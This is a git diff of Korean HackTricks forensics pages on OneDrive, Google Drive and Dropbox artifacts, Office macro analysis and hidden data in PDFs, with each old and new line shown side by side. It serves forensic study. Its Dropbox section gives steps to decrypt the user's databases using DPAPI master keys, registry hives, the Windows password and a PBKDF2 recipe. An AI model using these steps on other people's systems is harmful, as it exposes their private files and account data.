CID를 찾으면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 파일을 찾을 수 있습니다. CID를 찾은 후에는 **이 ID가 포함된 파일을 검색하는 것이 좋습니다**. _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 이름의 파일을 찾을 수 있으며, 이 파일에는 원드라이브와 동기화된 파일의 이름과 같은 흥미로운 정보가 포함될 수 있습니다.
## Google Drive ## 구글 드라이브
Windows에서 주요 Google Drive 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\ Windows에서 구글 드라이브의 주요 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당하는 MD5와 함께 나타납니다. 이 폴더에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등의 정보가 포함된 Sync\_log.log라는 파일이 있습니다. 삭제된 파일도 해당 로그 파일에 MD5와 함께 나타납니다.
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다. **`Cloud_graph\Cloud_graph.db`** 파일은 sqlite 데이터베이스로, **`cloud_graph_entry`** 테이블을 포함하고 있습니다. 이 테이블에서는 **동기화된** **파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다. 데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 구글 드라이브 버전이 포함되어 있습니다.
## Dropbox ## 드롭박스
Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 여기에서\ 드롭박스는 파일 관리를 위해 **SQLite 데이터베이스**를 사용합니다. 이 데이터베이스는 다음 폴더에서 찾을 수 있습니다:
데이터베이스를 찾을 수 있습니다:
* `\Users\<username>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<username>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
@ -62,9 +62,9 @@ Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
".dbx" 확장자는 데이터베이스가 **암호화**되었음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) ".dbx" 확장자는 **데이터베이스가 **암호화**되어 있음을 의미합니다. 드롭박스는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)를 참조하세요. 드롭박스가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)을 읽어보세요.
그러나 주요 정보는 다음과 같습니다: 그러나 주요 정보는 다음과 같습니다:
@ -73,34 +73,34 @@ Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digit
* **알고리즘**: PBKDF2 * **알고리즘**: PBKDF2
* **반복 횟수**: 1066 * **반복 횟수**: 1066
해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다: 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
* **암호화된 DPAPI 키**: 이진 형식으로 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리에서 찾을 수 있습니다 (이 데이터를 내보내기) * **암호화된 DPAPI 키**: `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리에서 찾을 수 있습니다 (이 데이터를 이진 형식으로 내보내기)
* **`SYSTEM`** 및 **`SECURITY`** 하이브 * **`SYSTEM`** 및 **`SECURITY`** 하이브
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다 * **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다.
* Windows 사용자**사용자 이름** 및 **암호** * Windows 사용자 **사용자 이름** 및 **비밀번호**
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다: 그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** 도구를 사용할 수 있습니다:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣어 사용하면 됩니다. 모든 것이 예상대로 진행되면, 도구는 원본을 복구하는 데 필요한 **기본 키**를 표시합니다. 원본을 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))를 사용하여 기본 키를 레시피의 "비밀번호"로 넣으면 됩니다.
결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다: 결과로 나오는 헥스는 데이터베이스를 암호화하는 데 사용된 최종 키이며, 이를 복호화할 수 있습니다:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다: The **`config.dbx`** 데이터베이스에는 다음이 포함됩니다:
* **이메일**: 사용자의 이메일 * **Email**: 사용자의 이메일
* **usernamedisplayname**: 사용자의 이름 * **usernamedisplayname**: 사용자의 이름
* **dropbox\_path**: 드롭박스 폴더가 위치한 경로 * **dropbox\_path**: 드롭박스 폴더가 위치한 경로
* **Host\_id: 클라우드에 인증하는 해시**. 이는 웹에서만 취소할 수 있습니다. * **Host\_id: Hash**: 클라우드에 인증하는 데 사용됩니다. 이는 웹에서만 취소할 수 있습니다.
* **Root\_ns**: 사용자 식별자 * **Root\_ns**: 사용자 식별자
**`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 많이 있습니다: The **`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블이 가장 유용한 정보를 포함하고 있습니다:
* **Server\_path**: 서버 내 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행). * **Server\_path**: 서버 내에서 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됩니다).
* **local\_sjid**: 파일의 버전 * **local\_sjid**: 파일의 버전
* **local\_mtime**: 수정 날짜 * **local\_mtime**: 수정 날짜
* **local\_ctime**: 생성 날짜 * **local\_ctime**: 생성 날짜
@ -108,7 +108,7 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다: 이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
* **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시 * **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
* **block\_ref**: `block_cache` 테이블의 해시 ID`file_journal` 테이블의 파일 ID와 관련시킴 * **block\_ref**: `block_cache` 테이블의 해시 ID`file_journal` 테이블의 파일 ID를 관련짓습니다.
* **mount\_table**: 드롭박스의 공유 폴더 * **mount\_table**: 드롭박스의 공유 폴더
* **deleted\_fields**: 드롭박스에서 삭제된 파일 * **deleted\_fields**: 드롭박스에서 삭제된 파일
* **date\_added** * **date\_added**
@ -116,21 +116,22 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# 오피스 파일 분석 # Office file analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 간단한 요약입니다: For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 될 수 있습니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축을 해제하여 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다. Microsoft는 많은 오피스 문서 형식을 만들었으며, 두 가지 주요 유형은 **OLE 형식**(RTF, DOC, XLS, PPT와 같은)과 **Office Open XML (OOXML) 형식**(DOCX, XLSX, PPTX와 같은)입니다. 이러한 형식은 매크로를 포함할 수 있어 피싱 및 악성 소프트웨어의 표적이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 파일 및 폴더 계층과 XML 파일 내용을 확인할 수 있습니다.
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다. OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 은닉에 대한 지속적인 혁신을 나타냅니다.
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 할 수 있습니다. 이를 통해 중단점 및 감시 변수로 디버깅할 수 있습니다. 분석을 위해 **oletools**와 **OfficeDissector**는 OLE 및 OOXML 문서를 검사하기 위한 포괄적인 도구 세트를 제공합니다. 이러한 도구는 종종 악성 소프트웨어 배포의 벡터 역할을 하는 내장 매크로를 식별하고 분석하는 데 도움을 줍니다. VBA 매크로 분석은 Libre Office를 활용하여 Microsoft Office 없이 수행할 수 있으며, 이는 중단점 및 감시 변수를 사용한 디버깅을 허용합니다.
**oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령어가 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다. **oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령이 제공됩니다. 매크로의 자동 실행은 `AutoOpen`, `AutoExec` 또는 `Document_Open`과 같은 기능에 의해 트리거됩니다.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# PDF 파일 분석 # PDF 파일 분석
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **자세한 내용은 다음을 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 특정 편집기와 같은 도구를 사용할 수 있습니다. PDF 형식은 복잡성과 데이터를 숨길 수 있는 잠재력으로 잘 알려져 있어 CTF 포렌식 챌린지의 중심이 됩니다. PDF는 일반 텍스트 요소와 이진 객체를 결합하며, 이는 압축되거나 암호화될 수 있고, JavaScript 또는 Flash와 같은 언어의 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [소개 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 텍스트 편집기 또는 Origami와 같은 PDF 전용 편집기를 사용할 수 있습니다.
PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내 숨겨진 데이터는 다음 위치에 숨겨질 수 있습니다: PDF를 심층적으로 탐색하거나 조작하기 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내 숨겨진 데이터는 다음에 숨겨질 수 있습니다:
* 보이지 않는 레이어 * 보이지 않는 레이어
* Adobe의 XMP 메타데이터 형식 * Adobe의 XMP 메타데이터 형식
* 증분 세대 * 점진적 생성
* 배경과 동일한 색상의 텍스트 * 배경과 같은 색상의 텍스트
* 이미지 뒤에 있는 텍스트 또는 이미지와 겹치는 텍스트 * 이미지 뒤의 텍스트 또는 겹치는 이미지
* 표시되지 않는 주석 * 표시되지 않는 주석
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 PDF 위험 및 대책에 관한 NSA 가이드와 같은 리소스는 원래 위치에 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다. 맞춤형 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 파싱 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 매우 방대하여, 원래 위치에서 더 이상 호스팅되지 않지만 PDF 위험 및 대응 조치에 대한 NSA 가이드와 같은 자료는 여전히 귀중한 통찰력을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)과 Ange Albertini의 [PDF 형식 트릭 모음](https://github.com/corkami/docs/blob/master/PDF/PDF.md)은 이 주제에 대한 추가 읽기를 제공할 수 있습니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
